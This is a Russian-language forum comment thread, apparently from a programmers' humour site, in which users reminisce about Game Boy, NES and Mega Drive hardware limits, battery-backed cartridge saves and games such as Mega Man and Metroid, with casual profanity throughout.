                иногда попадаются конторы, в т.ч. зарубежные, которые такие: а у нас нет QA, у нас девелоперы пишут ui tests и текут

                ну, до свидания, значит
                Ответить
                • Особенно это крут когда у тебя один программист делает одну фичу, а другой другую.

                  Знаешь анек про двух мужиков, которые яму раскапывали и закапывали?
                  Ответить
                  • анек не знаю

                    знаю коммунальщиков, у которых один отряд асфальтирует двор, а второй приезжает на следующий день и снова его раскапывает, чтобы починить трубу, которая течёт уже полгода

                    best practices
                    Ответить
                    • Да, именно так обычно и происходит

                      Мужик яму раскапывает, второй закапывает. Должен был между ними быть третий, который сажал бы туда деревце, но он сегодня заболел
                      Ответить
      • вот так https://www.youtube.com/watch?v=puoEYRFxGLY ?

        обратите внмиание, как тормозит звук, когда налитают питухи (на самом деле, это куры).

        Звуковая подсистема скорее всего не имела своего процессора, а если и имела, то не имела DMA, и пока CPU рендерил куриц -- звук простаивал
        Ответить
          • это то как раз не удивляет: GPU там нет) Все рендерится вручную на 8-ми битном процессорре. Чем больше акторов -- тем пиздецовее. Потому обычно на экране не более двух-трех персонжаей

            Это был Gameboy. А вот версия Super Nintendo: https://www.youtube.com/watch?v=WLwiOCiyEoc
            Ответить
            • 2 pulse wave generators, 1 PCM 4-bit wave sample (64 4-bit samples played in 1×64 bank or 2×32 bank) channel, 1 noise generator, and one audio input from the cartridge.[34] The unit has only one speaker, however the headphone port outputs stereo sound.
              Ответить
              • Процессор: Sharp LR35902 DMC-CPU[2], 8-разрядный (сильно упрощённый вариант Zilog Z80[3] производства Sharp), на тактовой частоте 4,194304 МГц
                Память:
                Основная память: 8 Кбайт
                Видеопамять: 8 Кбайт
                Размер экрана: 2,6" (66 мм)
                Разрешение: 160×144 пикселей
                Максимальное число спрайтов: 40, но не более 10 в одной строке
                Размеры спрайтов: 8×16, либо 8×8 пикселей
                Горизонтальная развертка: 9198 кГц
                Вертикальная развертка: 59,73 Гц

                Есть, где развернуться:)

                Игруха, кстати, охуенная) с продуманным и атмосферным миром, интересной историей, головолками и сохранением на батарейку (!) в 1993-м году.
                Ответить
                • В 1993-ом году сохранением при помощи батарейки уже сложно было кого-то удивить
                  Ответить
                  • Однако же это мало кто делал на 8-ми битках. NES/Famicom (известная у нас как Dendy) такого почти никогда не делала.
                    Ответить
                    • https://www.dkoldies.com/blog/-complete-list-of-nintendo-nes-games-with-save-batteries/

                      большинство игр на NES проходились за час-полтора (опытными игроками, разумеется), там вообще хватало системы паролей.

                      и вообще это зависит не от клона приставки, а от картриджа

                      у меня на MD на пиратских картриджах отсека под батарейку не было никогда (потому что это же дорого)
                      а на оригинальных были конечно
                      Ответить
                      • > опытными игроками,
                        вопрос в том, как стать этим опытным)

                        геймбой ничем не отличался от NES в этом плане, но тем не мнее вон в зелду пхнули батарейку, и вообще много куда пхнули

                        >и вообще это зависит не от клона приставки, а от картриджа
                        верно. Ты мог туда хоть вибратор запихать. Он сажался куда-то на адрес, и ты в него читал/писал.
                        Ответить
                        • > как стать этим опытным

                          Ну как... берёшь картридж с батлтодсами и полгода ебашишь. Блин, я вот и сейчас почти всё могу пройти кроме долбаных крыс-камикадзе...
                          Ответить
                          • ебашить в принца персии каждый раз с начала было бы очень скучно, но там были пароли

                            а в зелду ебашить с ноля было бы вообще не реально
                            Ответить
                        • так а в чём проблема с опытом

                          денди это ж не только жабы

                          всякие чипидейлы, русалочки, феликсы и прочие игры для младшего школьного возраста реально пройти за час (русалочку за полчаса лол)

                          с джангл буками и джурассик парками посложнее, но тоже в пределах разумного

                          ты сказал, что на NES такого почти не делали, я тебе скинул список
                          Ответить
                          • я сказал, что в NES не делали обычно батареек, а в GB делали
                            Ответить
                            • а ты вообще держал в руках оригинальные NES-картриджи?

                              я - нет
                              Ответить
                              • Да. Я и нинтедно американское видел, не только денди.
                                Ответить
                                • и чо, у тебя был картридж из списка выше и там не было батарейки?
                                  Ответить
                                  • а)
                                    извини, у нас коммуникейшен факап случился, или я прочитал по диагонали.

                                    Нет, именно этих я не видел. Раз написано, что там есть батарейка, значит есть. Тогда верю.

                                    Я играл в симпсонов, мегамена, бетмена и в кучу разных марио. Остальное только на эмуляторе
                                    Ответить
                                    • вот мегамен такая типа популярная игра. и метроид тоже.

                                      а в моём кругу в детстве никто в них не играл. наверное, потому что в семь лет интереснее игры по знакомым мультикам
                                      Ответить
                                      • У меня была одна из частей мегамена. И это пиздец, я х.з. каким задротом надо быть, чтобы его пройти. Меня максимум на пару уровней хватало, потом жизни кончались.
                                        Ответить
                                        • Мне четвертый нравился: там можно было с помощью паролей "сохраняться". Он пиздец сложный, но там была стратегия: нужно было босов убивать в правильном порядке, и переиспользовать их оружие
                                          Ответить
                                      • мегаменов было охулион, и везде, угу)


                                        во второй метроид я играл на геймбое, и там можно было сохраняться. Мрачновая игра, и по звуку, и по атмосфере. Я ее прошел, в конце Самус Эрен бежит)
                                        Ответить
                                        • Мне четвертый нравился: там можно было с помощью паролей "сохраняться". Он пиздец сложный, но там была стратегия: нужно было босов убивать в правильном порядке, и переиспользовать их оружие

                                          зы: у мегамена очень крутой саундтрек был, мне в детстве нравился

                                          https://youtu.be/Z8v_aLnf9Iw?t=292
                                          или вот
                                          https://youtu.be/Z8v_aLnf9Iw?t=1468
                                          Ответить
                                        • по метроиду офигенный хентай. да что там, там новые игры сами местами как хентай
                                          Ответить
                                    • кстати, вспомнил прикол про MD

                                      у меня был картридж (вроде Light Crusader, но точно не помню). на моём клоне мегадрайва игра шла на английском языке, а у кореша на оригинальном дженезисе на японском )))
                                      Ответить
            • > Чем больше акторов -- тем пиздецовее.
              - спасибо, кэп

              Это хорошо известно по NES и SMB, где вроде одновременно на экране могло быть не более трёх анимированных объектов
              Ответить
              • >- спасибо, кэп


                Я всегда говорю очевидные вещи, и потому я всегда прав
                Ответить
              • Не, у NES дофига аппаратных спрайтов было, намного больше трёх. Просто чем больше объект - тем больше спрайтов ты на него тратишь. А больших боссов вообще тупо на фоновом слое рисовали, благо у него тоже аппаратный скроллинг.
                Ответить
                • > аппаратных спрайтов
                  как этоработало? ты делал странички в памяти под спрайты, и выводил из на экран хардварным образом?

                  Таким образом, фраза
                  > GPU там нет) Все рендерится вручную на 8-ми битном процессорре.
                  явлется пиздежом?
                  Ответить
                  • Там всё через 8х8 знакогенераторы шло. У каждого из 64 (загуглил таки) спрайтов ты указываешь координаты и код "символа". И видюха их рисует в нужном месте. Бекграунд тоже из "символов", но он чуть больше экрана и можно оффсет задать чтобы попиксельно скроллить.
                    Ответить
                    • То есть ты грузишь "шрифт" из 64 "букв", а потом "пишешь" им текст? лал)

                      >можно оффсет задать чтобы попиксельно скроллить.
                      иначе трудно было бы двигать плавно, угу. Но некоторые ине парились, а скролили покмнатно
                      Ответить
                      • Там 2 знакогенератора по 256 символов 8х8, если мне память не изменяет. Вроде первый для спрайтов, а второй для бекграунда. Ну и анимация заменой "букв", да.
                        Ответить
                • не, я именно про SMB. только с цифрами напутал

                  https://kb.speeddemosarchive.com/Super_Mario_Bros.#Despawning

                  There can only be 5 "enemies" at once on the screen. The following count towards this total: living enemies, dead enemies as long as their sprite is still on the screen, all moving platforms, climbing vines
                  When there are already 5 enemies on the screen, further enemies will simply not appear.
                  Ответить
                  • Ну в первых играх ещё кодить не научились, да и на железе экономили.

                    Зато потом и дополнительную RAM в картридж стали пихать (все игры где скроллинг одновременно по горизонтали и вертикали) и ROM под сотню килобайт. Вот там уже было где развернуться.
                    Ответить
                    • ну это не совсем на мой взгляд из первых игр (обычный Mario Bros, например, вышел за два года до), но да, середина 80-х, все дела

                      вообще круто, да, что можно было сделать апгрейд платформе при помощи носителя? сегодня так хер получится даже при желании 🙂
                      Ответить

Добавить комментарий

Помни, guest, за тобой могут следить!

    А не использовать ли нам bbcode?


    8